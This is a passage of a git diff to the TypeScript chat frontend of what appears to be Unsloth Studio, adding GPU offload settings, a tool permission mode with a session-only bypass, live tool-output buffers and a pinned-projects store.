+  /** MoE expert-layer count: the nCpuMoe slider max; 0/null hides the slider. */
+  moeLayerCount: number | null;
+  /** Picked physical GPU indices (null = use all / automatic). */
+  selectedGpuIds: number[] | null;
+  loadedGpuIds: number[] | null;
   /** Persisted: expand every On Device GGUF repo's quantizations by default
    *  instead of waiting for a click. */
   expandQuantizations: boolean;
@@ -676,9 +905,6 @@ type ChatRuntimeStore = {
   /** Persisted, shared by the chat model selector and the Hub page: list only
    *  models whose size fits this device's memory budget. */
   fitOnDeviceOnly: boolean;
-  /** A local model picked while `loadOnSelection` is off: staged, not loaded.
-   *  The settings sheet shows its load knobs and a Load button. */
-  pendingSelection: PendingModelSelection | null;
   loadedIsMultimodal: boolean;
   /** Active model is a block-diffusion model (DiffusionGemma): drives the
    *  denoising-canvas artifact auto-render. */
@@ -687,6 +913,9 @@ type ChatRuntimeStore = {
    *  per step, cleared when the run ends, never persisted into the transcript. */
   activeDiffusionCanvas: DiffusionCanvasFrame | null;
   customContextLength: number | null;
+  /** The pinned context the loaded model used (null = Auto), so dirty-tracking
+   *  and a later fit Apply can tell an explicit pin apart from Auto. */
+  loadedCustomContextLength: number | null;
   defaultChatTemplate: string | null;
   chatTemplateOverride: string | null;
   loadedChatTemplateOverride: string | null;
@@ -714,9 +943,16 @@ type ChatRuntimeStore = {
     cacheWriteTokens?: number;
   } | null;
   modelLoading: boolean;
+  loadingModelPick: LoadingModelPick | null;
   activeNativePathToken: string | null;
+  // Wall-clock expiry (ms) of the active native path token. The desktop host
+  // prunes file leases after a TTL, so a reload checks this to prompt
+  // re-selection instead of reusing a dead token.
+  activeNativePathExpiresAtMs: number | null;
   hydratePersistedSettings: () => Promise<void>;
   setModelLoading: (loading: boolean) => void;
+  setLoadingModelPick: (pick: LoadingModelPick | null) => void;
+  clearLoadingModelPick: (expected: LoadingModelPick) => void;
   setModelRequiresTrustRemoteCode: (required: boolean) => void;
   setParams: (params: InferenceParams) => void;
   setCustomPresets: (presets: Preset[]) => void;
@@ -753,11 +989,13 @@ type ChatRuntimeStore = {
     enabled: boolean,
     options?: { persist?: boolean },
   ) => void;
+  setShowCanvasMenuItem: (enabled: boolean) => void;
   setCollapseHtmlArtifacts: (enabled: boolean) => void;
   setAllowArtifactNetworkAccess: (enabled: boolean) => void;
   setMcpEnabledForChat: (enabled: boolean) => void;
   setConfirmToolCalls: (enabled: boolean) => void;
   setBypassPermissions: (enabled: boolean) => void;
+  setPermissionMode: (mode: PermissionMode) => void;
   setBypassConfirmOpen: (open: boolean) => void;
   allowToolAlways: (sessionId: string, toolName: string) => void;
   setToolConfirmation: (
@@ -777,38 +1015,27 @@ type ChatRuntimeStore = {
   setRagOcrScanned: (enabled: boolean) => void;
   setRagCaptionFigures: (enabled: boolean) => void;
   setToolStatus: (status: string | null) => void;
+  appendToolLiveOutput: (toolCallId: string, text: string) => void;
+  /** Clear one tool's live output, or all when no id is given. */
+  clearToolLiveOutput: (toolCallId?: string) => void;
+  /** Preserve a finished tool's full live-streamed output for display. */
+  setToolFullOutput: (toolCallId: string, text: string) => void;
+  /** Drop a stale preserved full output (a new run is reusing the id). */
+  clearToolFullOutput: (toolCallId: string) => void;
   setGeneratingStatus: (status: string | null) => void;
   setActiveDiffusionCanvas: (canvas: DiffusionCanvasFrame | null) => void;
   setAutoHealToolCalls: (enabled: boolean) => void;
+  setNudgeToolCalls: (enabled: boolean) => void;
   setMaxToolCallsPerMessage: (value: number) => void;
   setToolCallTimeout: (value: number) => void;
-  setKvCacheDtype: (dtype: string | null) => void;
-  setSpeculativeType: (type: string | null) => void;
-  setSpecDraftNMax: (value: number | null) => void;
-  /** Revert the editable load knobs to the loaded model's baseline (or defaults
-   *  when nothing is loaded). Used by the settings-sheet Reset button and to
-   *  start each deferred-staging session clean so one staged pick's settings
-   *  don't leak onto the next. */
-  resetModelSettingsToLoaded: () => void;
-  /** Seed the editable load knobs from a model's remembered settings. Shared by
-   *  the settings sheet's restore effect and the "Load on selection" paths,
-   *  which skip the sheet but must still honor a saved config. */
-  applyRememberedLoadSettings: (settings: RememberedLoadSettings) => void;
-  setTensorParallel: (value: boolean) => void;
-  setLoadOnSelection: (value: boolean) => void;
+  setGpuMemoryMode: (mode: "auto" | "manual") => void;
+  setGpuLayers: (value: number) => void;
+  setNCpuMoe: (value: number) => void;
+  setSplitRatio: (value: number[] | null) => void;
+  setSelectedGpuIds: (ids: number[] | null) => void;
   setExpandQuantizations: (value: boolean) => void;
   setShowAllQuantizations: (value: boolean) => void;
   setFitOnDeviceOnly: (value: boolean) => void;
-  setPendingSelection: (selection: PendingModelSelection | null) => void;
-  /** Stage a pick for a deferred load: revert knobs to the loaded baseline,
-   *  record the selection, and open the settings sheet. */
-  stageModel: (selection: PendingModelSelection) => void;
-  /** Abandon a staged pick without loading: revert knobs to the loaded baseline
-   *  and clear the pending selection. Cancels its in-flight download too, unless
-   *  `keepDownload` is set (navigation keeps the transfer running, like Hub). */
-  abandonStagedModel: (opts?: { keepDownload?: boolean }) => void;
-  setCustomContextLength: (v: number | null) => void;
-  setChatTemplateOverride: (template: string | null) => void;
   setPendingAudio: (base64: string, name: string) => void;
   clearPendingAudio: () => void;
   setPendingImageEditReference: (
@@ -832,6 +1059,7 @@ type ScalarSettingKey =
   | "collapseHtmlArtifacts"
   | "allowArtifactNetworkAccess"
   | "autoHealToolCalls"
+  | "nudgeToolCalls"
   | "maxToolCallsPerMessage"
   | "toolCallTimeout";
 
@@ -869,6 +1097,7 @@ const SCALAR_SETTING_KEYS = [
   "collapseHtmlArtifacts",
   "allowArtifactNetworkAccess",
   "autoHealToolCalls",
+  "nudgeToolCalls",
   "maxToolCallsPerMessage",
   "toolCallTimeout",
 ] as const satisfies readonly ScalarSettingKey[];
@@ -1008,23 +1237,6 @@ function setScalarSettingVersion<K extends ScalarSettingKey>(
   saveSettingsPatch({ [key]: value });
 }
 
-/** The "revert to the loaded model" baseline for the editable load knobs.
- *  Shared by resetModelSettingsToLoaded (full revert) and stageModel (which
- *  overrides speculative to start a fresh pick from the standing default). */
-function loadedBaselineSettings(s: ChatRuntimeStore) {
-  const hasLoadedModel = Boolean(s.params.checkpoint);
-  return {
-    customContextLength: null,
-    kvCacheDtype: s.loadedKvCacheDtype,
-    tensorParallel: s.loadedTensorParallel ?? false,
-    speculativeType: hasLoadedModel
-      ? s.loadedSpeculativeType
-      : readPersistedSpeculativeType(),
-    specDraftNMax: hasLoadedModel ? s.loadedSpecDraftNMax : null,
-    chatTemplateOverride: s.loadedChatTemplateOverride,
-  };
-}
-
 export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   settingsHydrated: false,
   // Hydrate the last external checkpoint so the external picker survives a
@@ -1044,7 +1256,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   runningByThreadId: {},
   cancelByThreadId: {},
   autoTitle: false,
-  hfToken: loadString(HF_TOKEN_KEY, ""),
+  hfToken: useHfTokenStore.getState().token,
   modelsError: null,
   lastModelLoadError: null,
   activeGgufVariant: null,
@@ -1071,17 +1283,22 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   codeToolsEnabled: loadBool(CHAT_CODE_TOOLS_ENABLED_KEY, false),
   imageToolsEnabled: loadBool(CHAT_IMAGE_TOOLS_ENABLED_KEY, false),
   artifactsEnabled: loadBool(CHAT_ARTIFACTS_ENABLED_KEY, false),
+  showCanvasMenuItem: loadShowCanvasMenuItem(),
   collapseHtmlArtifacts: loadBool(CHAT_COLLAPSE_HTML_ARTIFACTS_KEY, false),
   allowArtifactNetworkAccess: loadBool(
     CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY,
     false,
   ),
   mcpEnabledForChat: loadBool(CHAT_MCP_ENABLED_KEY, false),
-  confirmToolCalls: loadBool(CHAT_CONFIRM_TOOL_CALLS_KEY, false),
+  // Mirrors permissionMode (gate requested for ask/auto) so both controls
+  // agree on load.
+  confirmToolCalls:
+    INITIAL_PERMISSION_MODE === "ask" || INITIAL_PERMISSION_MODE === "auto",
   // Never restore Bypass Permissions from storage: it disables the sandbox and
   // the confirmation gate, so it must be re-enabled (through the warning
   // dialog) each session rather than silently reactivating on reload.
   bypassPermissions: false,
+  permissionMode: INITIAL_PERMISSION_MODE,
   bypassConfirmOpen: false,
   alwaysAllowToolsBySession: new Map<string, Set<string>>(),
   toolConfirmations: {},
@@ -1100,9 +1317,12 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   ragOcrScanned: loadBool(CHAT_RAG_OCR_KEY, DEFAULT_RAG_OCR),
   ragCaptionFigures: loadBool(CHAT_RAG_CAPTION_KEY, DEFAULT_RAG_CAPTION),
   toolStatus: null,
+  toolLiveOutput: {},
+  toolFullOutput: {},
   generatingStatus: null,
   activeDiffusionCanvas: null,
   autoHealToolCalls: true,
+  nudgeToolCalls: true,
   maxToolCallsPerMessage: 25,
   toolCallTimeout: 5,
   kvCacheDtype: null,
@@ -1114,14 +1334,25 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   loadedSpecDraftNMax: null,
   tensorParallel: false,
   loadedTensorParallel: null,
-  loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true),
+  gpuMemoryMode: readPersistedGpuMemoryMode(),
+  loadedGpuMemoryMode: null,
+  gpuLayers: GPU_LAYERS_AUTO,
+  loadedGpuLayers: null,
+  nCpuMoe: 0,
+  loadedNCpuMoe: null,
+  splitRatio: null,
+  loadedSplitRatio: null,
+  ggufLayerCount: null,
+  moeLayerCount: null,
+  selectedGpuIds: null,
+  loadedGpuIds: null,
   expandQuantizations: loadBool(CHAT_EXPAND_QUANTIZATIONS_KEY, false),
   showAllQuantizations: loadBool(CHAT_SHOW_ALL_QUANTIZATIONS_KEY, true),
   fitOnDeviceOnly: loadBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, false),
-  pendingSelection: null,
   loadedIsMultimodal: false,
   loadedIsDiffusion: false,
   customContextLength: null,
+  loadedCustomContextLength: null,
   defaultChatTemplate: null,
   chatTemplateOverride: null,
   loadedChatTemplateOverride: null,
@@ -1135,7 +1366,9 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   pendingImageEditReference: null,
   contextUsage: null,
   modelLoading: false,
+  loadingModelPick: null,
   activeNativePathToken: null,
+  activeNativePathExpiresAtMs: null,
   hydratePersistedSettings: async () => {
     if (get().settingsHydrated) {
       return;
@@ -1174,6 +1407,20 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     return settingsHydrationPromise;
   },
   setModelLoading: (loading) => set({ modelLoading: loading }),
+  setLoadingModelPick: (pick) => set({ loadingModelPick: pick }),
+  clearLoadingModelPick: (expected) =>
+    set((state) => {
+      const current = state.loadingModelPick;
+      if (
+        !current ||
+        current.id !== expected.id ||
+        current.ggufVariant !== expected.ggufVariant ||
+        current.nativePathToken !== expected.nativePathToken
+      ) {
+        return state;
+      }
+      return { loadingModelPick: null };
+    }),
   setModelRequiresTrustRemoteCode: (modelRequiresTrustRemoteCode) =>
     set({ modelRequiresTrustRemoteCode }),
   setParams: (params) =>
@@ -1241,11 +1488,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       setScalarSettingVersion("autoTitle", autoTitle, state.autoTitle);
       return { autoTitle };
     }),
-  setHfToken: (hfToken) => {
-    saveString(HF_TOKEN_KEY, hfToken);
-    set({ hfToken });
-    notifyHfTokenChanged(hfToken);
-  },
+  setHfToken: (hfToken) => useHfTokenStore.getState().setToken(hfToken),
   setModelsError: (modelsError) => set({ modelsError }),
   setLastModelLoadError: (lastModelLoadError) => set({ lastModelLoadError }),
   setCheckpoint: (modelId, ggufVariant) =>
@@ -1258,13 +1501,6 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       // Clear stale per-turn usage on model change; the relaxed external-provider
       // render gate would otherwise show old counters until the next completion.
       const checkpointChanged = state.params.checkpoint !== modelId;
-      const pendingToClear =
-        checkpointChanged && state.params.checkpoint
-          ? state.pendingSelection
-          : null;
-      if (pendingToClear) {
-        cancelStagedModelDownload(pendingToClear);
-      }
       // Clamp maxTokens to the new model's cap when switching into an external
       // model so a value carried over from a local session doesn't exceed the
       // slider's max.
@@ -1292,14 +1528,6 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
         },
         activeGgufVariant: ggufVariant ?? null,
         ...(checkpointChanged ? { contextUsage: null } : {}),
-        // Switching away from a loaded model (e.g. picking an external provider)
-        // abandons any staged pick, so its Load button and edited knobs don't
-        // linger over the newly active model. Same revert as abandonStagedModel.
-        // Guarded on a non-empty current checkpoint: an establishing set from a
-        // background status sync (empty -> active) must not wipe a fresh stage.
-        ...(pendingToClear
-          ? { ...loadedBaselineSettings(state), pendingSelection: null }
-          : {}),
       };
     }),
   setActiveThreadId: (activeThreadId) =>
@@ -1313,7 +1541,6 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     // clear any stored external selection so the next refresh doesn't snap
     // back to a model the user intentionally cleared.
     saveLastExternalCheckpoint(null);
-    cancelStagedModelDownload(get().pendingSelection);
     return set((state) => ({
       params: {
         ...state.params,
@@ -1321,7 +1548,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       },
       activeGgufVariant: null,
       activeNativePathToken: null,
-      pendingSelection: null,
+      activeNativePathExpiresAtMs: null,
       ggufContextLength: null,
       ggufMaxContextLength: null,
       ggufNativeContextLength: null,
@@ -1348,6 +1575,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       // Only the per-session enable pill resets; source/mode/top_k persist.
       ragEnabled: false,
       toolStatus: null,
+      toolLiveOutput: {},
+      toolFullOutput: {},
       activeDiffusionCanvas: null,
       kvCacheDtype: null,
       loadedKvCacheDtype: null,
@@ -1358,9 +1587,23 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       loadedSpecDraftNMax: null,
       tensorParallel: false,
       loadedTensorParallel: null,
+      // Standing preference: survives unload, unlike the per-model knobs above.
+      gpuMemoryMode: readPersistedGpuMemoryMode(),
+      loadedGpuMemoryMode: null,
+      gpuLayers: GPU_LAYERS_AUTO,
+      loadedGpuLayers: null,
+      nCpuMoe: 0,
+      loadedNCpuMoe: null,
+      splitRatio: null,
+      loadedSplitRatio: null,
+      ggufLayerCount: null,
+      moeLayerCount: null,
+      selectedGpuIds: null,
+      loadedGpuIds: null,
       loadedIsMultimodal: false,
       loadedIsDiffusion: false,
       customContextLength: null,
+      loadedCustomContextLength: null,
       defaultChatTemplate: null,
       chatTemplateOverride: null,
       loadedChatTemplateOverride: null,
@@ -1419,6 +1662,11 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       }
       return { artifactsEnabled };
     }),
+  setShowCanvasMenuItem: (showCanvasMenuItem) =>
+    set(() => {
+      saveBool(CHAT_SHOW_CANVAS_MENU_ITEM_KEY, showCanvasMenuItem);
+      return { showCanvasMenuItem };
+    }),
   setCollapseHtmlArtifacts: (collapseHtmlArtifacts) =>
     set((state) => {
       saveBool(CHAT_COLLAPSE_HTML_ARTIFACTS_KEY, collapseHtmlArtifacts);
@@ -1448,14 +1696,53 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       return { mcpEnabledForChat };
     }),
   setConfirmToolCalls: (confirmToolCalls) =>
-    set(() => {
+    set((state) => {
       saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
-      return { confirmToolCalls };
+      // The legacy toggle is a view over the permission level: on -> "ask",
+      // off -> "off" (no prompts). While "full" is active the level is left
+      // alone (the toggle is disabled in the UI anyway).
+      if (state.permissionMode === "full") return { confirmToolCalls };
+      const permissionMode: PermissionMode = confirmToolCalls ? "ask" : "off";
+      savePermissionMode(permissionMode);
+      return { confirmToolCalls, permissionMode };
+    }),
+  setPermissionMode: (permissionMode) =>
+    set(() => {
+      // "full" is session-only (never persisted, see init); ask/auto/off
+      // persist and keep the legacy confirm toggle in sync (the gate is
+      // requested for both ask and auto).
+      savePermissionMode(permissionMode);
+      if (permissionMode === "full") {
+        // Full access sends confirm_tool_calls=false; keep the store flag in
+        // sync so response metadata does not report confirmations as enabled.
+        return { permissionMode, bypassPermissions: true, confirmToolCalls: false };
+      }
+      const confirmToolCalls =
+        permissionMode === "ask" || permissionMode === "auto";
+      saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
+      return { permissionMode, bypassPermissions: false, confirmToolCalls };
     }),
   setBypassPermissions: (bypassPermissions) =>
     // Deliberately not persisted (see init): a reload must not silently keep
     // the sandbox/confirmation bypass active without re-accepting the warning.
-    set(() => ({ bypassPermissions })),
+    // Turning bypass off returns to the last persisted ask/auto level.
+    set(() => {
+      if (bypassPermissions) {
+        // Full access never prompts; mirror confirm_tool_calls=false in the
+        // store so metadata does not report confirmations as enabled.
+        return {
+          bypassPermissions,
+          permissionMode: "full" as PermissionMode,
+          confirmToolCalls: false,
+        };
+      }
+      const permissionMode = loadPermissionMode();
+      return {
+        bypassPermissions,
+        permissionMode,
+        confirmToolCalls: permissionMode === "ask" || permissionMode === "auto",
+      };
+    }),
   setBypassConfirmOpen: (bypassConfirmOpen) =>
     set(() => ({ bypassConfirmOpen })),
   allowToolAlways: (sessionId, toolName) =>
@@ -1532,6 +1819,43 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       return { ragCaptionFigures };
     }),
   setToolStatus: (toolStatus) => set({ toolStatus }),
+  appendToolLiveOutput: (toolCallId, text) =>
+    set((state) => ({
+      toolLiveOutput: {
+        ...state.toolLiveOutput,
+        [toolCallId]: (state.toolLiveOutput[toolCallId] ?? "") + text,
+      },
+    })),
+  setToolFullOutput: (toolCallId, text) =>
+    set((state) => ({
+      toolFullOutput: {
+        ...state.toolFullOutput,
+        [toolCallId]: text,
+      },
+    })),
+  clearToolFullOutput: (toolCallId) =>
+    set((state) => {
+      if (!(toolCallId in state.toolFullOutput)) {
+        return {};
+      }
+      const next = { ...state.toolFullOutput };
+      delete next[toolCallId];
+      return { toolFullOutput: next };
+    }),
+  clearToolLiveOutput: (toolCallId) =>
+    set((state) => {
+      if (toolCallId === undefined) {
+        return Object.keys(state.toolLiveOutput).length
+          ? { toolLiveOutput: {} }
+          : {};
+      }
+      if (!(toolCallId in state.toolLiveOutput)) {
+        return {};
+      }
+      const next = { ...state.toolLiveOutput };
+      delete next[toolCallId];
+      return { toolLiveOutput: next };
+    }),
   setActiveDiffusionCanvas: (activeDiffusionCanvas) =>
     set({ activeDiffusionCanvas }),
   setGeneratingStatus: (generatingStatus) => set({ generatingStatus }),
@@ -1544,6 +1868,15 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { autoHealToolCalls };
     }),
+  setNudgeToolCalls: (nudgeToolCalls) =>
+    set((state) => {
+      setScalarSettingVersion(
+        "nudgeToolCalls",
+        nudgeToolCalls,
+        state.nudgeToolCalls,
+      );
+      return { nudgeToolCalls };
+    }),
   setMaxToolCallsPerMessage: (maxToolCallsPerMessage) =>
     set((state) => {
       setScalarSettingVersion(
@@ -1562,25 +1895,14 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { toolCallTimeout };
     }),
-  setKvCacheDtype: (kvCacheDtype) => set({ kvCacheDtype }),
-  setSpeculativeType: (speculativeType) => set({ speculativeType }),
-  setSpecDraftNMax: (specDraftNMax) => set({ specDraftNMax }),
-  setTensorParallel: (tensorParallel) => set({ tensorParallel }),
-  resetModelSettingsToLoaded: () => set((s) => loadedBaselineSettings(s)),
-  applyRememberedLoadSettings: (settings) =>
-    // Coalesce every field: a blob persisted by an older/newer build can omit
-    // keys, and a raw spread would push `undefined` into fields typed non-null.
-    set({
-      customContextLength: settings.contextLength ?? null,
-      kvCacheDtype: settings.kvCacheDtype ?? null,
-      speculativeType: settings.speculativeType ?? "auto",
-      specDraftNMax: settings.specDraftNMax ?? null,
-      tensorParallel: settings.tensorParallel ?? false,
-    }),
-  setLoadOnSelection: (loadOnSelection) => {
-    saveBool(CHAT_LOAD_ON_SELECTION_KEY, loadOnSelection);
-    set({ loadOnSelection });
-  },
+  // Standing preference, but persisted only on a successful load (see
+  // use-chat-model-runtime), not on selection -- so an unapplied pick the user
+  // resets/abandons doesn't stick to the next session.
+  setGpuMemoryMode: (gpuMemoryMode) => set({ gpuMemoryMode }),
+  setGpuLayers: (gpuLayers) => set({ gpuLayers }),
+  setNCpuMoe: (nCpuMoe) => set({ nCpuMoe }),
+  setSplitRatio: (splitRatio) => set({ splitRatio }),
+  setSelectedGpuIds: (selectedGpuIds) => set({ selectedGpuIds }),
   setExpandQuantizations: (expandQuantizations) => {
     saveBool(CHAT_EXPAND_QUANTIZATIONS_KEY, expandQuantizations);
     set({ expandQuantizations });
@@ -1593,39 +1915,6 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     saveBool(MODELS_FIT_ON_DEVICE_ONLY_KEY, fitOnDeviceOnly);
     set({ fitOnDeviceOnly });
   },
-  setPendingSelection: (pendingSelection) => set({ pendingSelection }),
-  stageModel: (selection) => {
-    // Refuse staging mid-load: post-load cleanup would silently drop the queued
-    // pick. stageOrLoad toasts first for callers that can.
-    if (get().modelLoading) return;
-    // Rebinding to a new pick keeps the prior pick's download running so the
-    // user can queue multiple downloads at once (Hub-style).
-    set((s) => {
-      return {
-        ...loadedBaselineSettings(s),
-        pendingSelection: selection,
-        // autoLoad downloads silently and loads on completion, so keep the sheet shut.
-        settingsPanelOpen: !selection.autoLoad,
-        // Speculative starts from the standing default, not the loaded model's
-        // mode, so a fresh pick doesn't inherit (and then carry, via the staged
-        // Load's keepSpeculative) a forced MTP mode onto a model that may lack it.
-        speculativeType: readPersistedSpeculativeType(),
-        specDraftNMax: null,
-      };
-    });
-  },
-  abandonStagedModel: (opts) => {
-    const { pendingSelection } = get();
-    if (!pendingSelection) return;
-    // Cancel the staged pick's in-flight download (centralized for every abandon
-    // path: sheet close, thread switch, route exit, new chat). `keepDownload`
-    // opts out so navigation leaves the transfer running, like a Hub download.
-    if (!opts?.keepDownload) cancelStagedModelDownload(pendingSelection);
-    set((s) => ({ ...loadedBaselineSettings(s), pendingSelection: null }));
-  },
-  setCustomContextLength: (customContextLength) => set({ customContextLength }),
-  setChatTemplateOverride: (chatTemplateOverride) =>
-    set({ chatTemplateOverride }),
   setPendingAudio: (base64, name) =>
     set({ pendingAudioBase64: base64, pendingAudioName: name }),
   clearPendingAudio: () =>
@@ -1637,6 +1926,12 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   setContextUsage: (contextUsage) => set({ contextUsage }),
 }));
 
+// Mirror token edits made through the shared store (e.g. Unsloth's field).
+const unsubscribeHfTokenMirror = mirrorHfTokenInto(useChatRuntimeStore);
+if (import.meta.hot) {
+  import.meta.hot.dispose(unsubscribeHfTokenMirror);
+}
+
 export function resolveSpeculativeSettingsForLoad({
   usePersistedPreference = false,
 }: {
diff --git a/studio/frontend/src/features/chat/stores/pinned-projects-store.ts b/studio/frontend/src/features/chat/stores/pinned-projects-store.ts
new file mode 100644
index 0000000000..c6dbad5c79
--- /dev/null
+++ b/studio/frontend/src/features/chat/stores/pinned-projects-store.ts
@@ -0,0 +1,42 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { persist } from "zustand/middleware";
+
+// Client-side pin state for projects, keyed by project id. Kept in
+// localStorage. Pinned projects drive the sidebar "Projects" section; new pins
+// are prepended so the most recently pinned project sorts first.
+export interface PinnedProjectsState {
+  pinnedIds: string[];
+  togglePin: (id: string) => void;
+  unpin: (id: string) => void;
+}
+
+export const usePinnedProjectsStore = create<PinnedProjectsState>()(
+  persist(
+    (set) => ({
+      pinnedIds: [],
+      togglePin: (id) =>
+        set((state) => ({
+          pinnedIds: state.pinnedIds.includes(id)
+            ? state.pinnedIds.filter((x) => x !== id)
+            : [id, ...state.pinnedIds],
+        })),
+      unpin: (id) =>
+        set((state) => ({
+          pinnedIds: state.pinnedIds.filter((x) => x !== id),
+        })),
+    }),
+    {
+      name: "unsloth_pinned_projects",
+      merge: (persisted, current) => {
+        const saved = persisted as Partial<PinnedProjectsState> | undefined;
+        return {
+          ...current,
+          pinnedIds: Array.isArray(saved?.pinnedIds) ? saved.pinnedIds : [],
+        };
+      },
+    },
+  ),
+);
diff --git a/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts b/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
index 822c66eeb5..960649a901 100644
--- a/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
+++ b/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
@@ -44,6 +44,8 @@ const DEFAULT_PINS: Record<PlusMenuItemId, boolean> = {
   bypassPermissions: false,
 };
 
+export const PLUS_MENU_PINS_STORAGE_KEY = "unsloth_plus_menu_pins";
+
 export interface PlusMenuPrefsState {
   pins: Record<PlusMenuItemId, boolean>;
   setPin: (id: PlusMenuItemId, value: boolean) => void;
@@ -72,7 +74,7 @@ export const usePlusMenuPrefsStore = create<PlusMenuPrefsState>()(
         })),
     }),
     {
-      name: "unsloth_plus_menu_pins",
+      name: PLUS_MENU_PINS_STORAGE_KEY,
       // Backfill any ids added in a later release so persisted state from an
       // older version still resolves every menu item.
       merge: (persisted, current) => {
diff --git a/studio/frontend/src/features/chat/thread-sidebar.tsx b/studio/frontend/src/features/chat/thread-sidebar.tsx
index 9e65fc5749..bd1fb9d87c 100644
--- a/studio/frontend/src/features/chat/thread-sidebar.tsx
+++ b/studio/frontend/src/features/chat/thread-sidebar.tsx
@@ -42,6 +42,7 @@ import {
   PencilEdit02Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
+import { isDownloadCancelled } from "@/lib/native-files";
 import { toast } from "sonner";
 import { useChatRuntimeStore } from "./stores/chat-runtime-store";
 import type { ChatView } from "./types";
@@ -133,9 +134,13 @@ export function ThreadSidebar({
   ) {
     try {
       const ids = await getThreadIdsForItem(item);
-      await Promise.all(ids.map((id) => fn(id)));
-    } catch {
-      toast.error("Export failed.");
+      for (const id of ids) {
+        await fn(id);
+      }
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error("Export failed.");
+      }
     }
   }
 
@@ -162,8 +167,10 @@ export function ThreadSidebar({
       } else {
         await exportBulkConversationsSeparate(ids, fmt, basename);
       }
-    } catch {
-      toast.error("Export failed.");
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error("Export failed.");
+      }
     }
   }
 
@@ -259,7 +266,7 @@ export function ThreadSidebar({
                   >
                     {item.isFork ? (
                       <span
-                        className="mr-1 rounded-sm bg-primary/10 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wide text-primary"
+                        className="mr-1 rounded-sm bg-primary/10 px-1.5 py-0.5 text-ui-10 font-semibold uppercase tracking-wide text-primary"
                         title="Forked from another chat"
                       >
                         fork
diff --git a/studio/frontend/src/features/chat/tool-output-scope.ts b/studio/frontend/src/features/chat/tool-output-scope.ts
new file mode 100644
index 0000000000..a7885a3916
--- /dev/null
+++ b/studio/frontend/src/features/chat/tool-output-scope.ts
@@ -0,0 +1,95 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import { createContext, useContext } from "react";
+import type { ModelType } from "./types";
+
+/**
+ * Pane scope prefix for the transient tool-output store keys.
+ *
+ * Local GGUF tool ids are only unique within one response ("call_0", "call_1",
+ * ...), and panes stream concurrently (compare mode mounts two runtimes; the
+ * main view stays CSS-hidden off-route), so a bare id would let one pane's
+ * stdout bleed into another's same-id card. Derived from static props
+ * (`modelType` + `pairId`) shared by writer (adapter) and reader (components)
+ * via one `ChatRuntimeProvider`, so they can never disagree.
+ */
+export function toolPaneScope(modelType?: ModelType, pairId?: string): string {
+  return `${modelType ?? "base"}\u0000${pairId ?? ""}`;
+}
+
+export const ToolPaneScopeContext = createContext<string>(toolPaneScope());
+
+export function useToolPaneScope(): string {
+  return useContext(ToolPaneScopeContext);
+}
+
+/** Store key for the live/full tool output maps: pane scope + tool call id. */
+export function toolOutputKey(paneScope: string, toolCallId: string): string {
+  return `${paneScope}\u0000${toolCallId}`;
+}
+
+// Footer the backend appends when it truncates a result to protect the context
+// window (see backend tools._truncate). Marks where the result stops being a
+// copy of the stream, so it distinguishes "just truncated" from "carries
+// failure/exit status the stream never produced".
+const TRUNCATION_FOOTER_MARKER = "\n\n... (truncated";
+
+/**
+ * Whether the live stdout holds more real output than the model-visible
+ * `result` and should be preserved for the finished card. Shared by writer
+ * (retain?) and reader (display?) so they agree.
+ *
+ * True when the result is truncated, OR the stream is longer. Truncation can't
+ * fall back to length: a truncated result may be longer by byte count once its
+ * footer / `Exit code N:` / `__IMAGES__` blob is appended, yet the stream still
+ * holds more stdout. Also true when a short stream is absent from the result: a
+ * timed-out/cancelled tool returns only a status line, so length alone would
+ * drop the partial stdout the stream captured.
+ */
+export function shouldPreserveFullOutput(full: string, result: string): boolean {
+  if (!full) {
+    return false;
+  }
+  if (result.includes(TRUNCATION_FOOTER_MARKER)) {
+    return true;
+  }
+  if (full.length > result.length) {
+    return true;
+  }
+  // Stream no longer than the result, but a timed-out/cancelled tool's status
+  // line never echoes the captured stdout: preserve the stream whenever its
